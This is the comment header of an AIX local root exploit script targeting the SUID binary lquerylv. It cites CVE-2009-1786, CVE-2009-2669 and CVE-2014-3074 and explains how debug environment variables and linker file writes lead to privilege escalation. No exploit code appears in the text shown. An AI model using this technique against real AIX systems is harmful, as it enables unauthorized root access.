# AIX lquerylv 5.3, 6.1, 7.1, 7.2 local root exploit. Tested against latest patchset (7100-04)
#
# This exploit takes advantage of known issues with debugging functions
# within the AIX linker library. We are taking advantage of known 
# functionality, and focusing on badly coded SUID binaries which do not
# adhere to proper security checks prior to seteuid/open/writes.
#
# The CVEs we will be taking advantage of:
# - CVE-2009-1786: The malloc subsystem in libc in IBM AIX 5.3 and 6.1 allows 
#   local users to create or overwrite arbitrary files via a symlink attack on
#   the log file associated with the MALLOCDEBUG environment variable. 
#
# - CVE-2009-2669: A certain debugging component in IBM AIX 5.3 and 6.1 does 
#   not properly handle the (1) _LIB_INIT_DBG and (2) _LIB_INIT_DBG_FILE 
#   environment variables, which allows local users to gain privileges by 
#   leveraging a setuid-root program to create an arbitrary root-owned file 
#   with world-writable permissions, related to libC.a (aka the XL C++ runtime
#   library) in AIX 5.3 and libc.a in AIX 6.1. 
#
# - CVE-2014-3074: Runtime Linker Allows Privilege Escalation Via Arbitrary 
#   File Writes In IBM AIX.
#
# In each instance of the aforementioned CVEs, IBM merely patched the binaries 
# which were reported in the original reports as being used for escalation of
# the vulnerabilities. This allowed for the lquerylv binary to slip by their
# patches and become an attack vector.
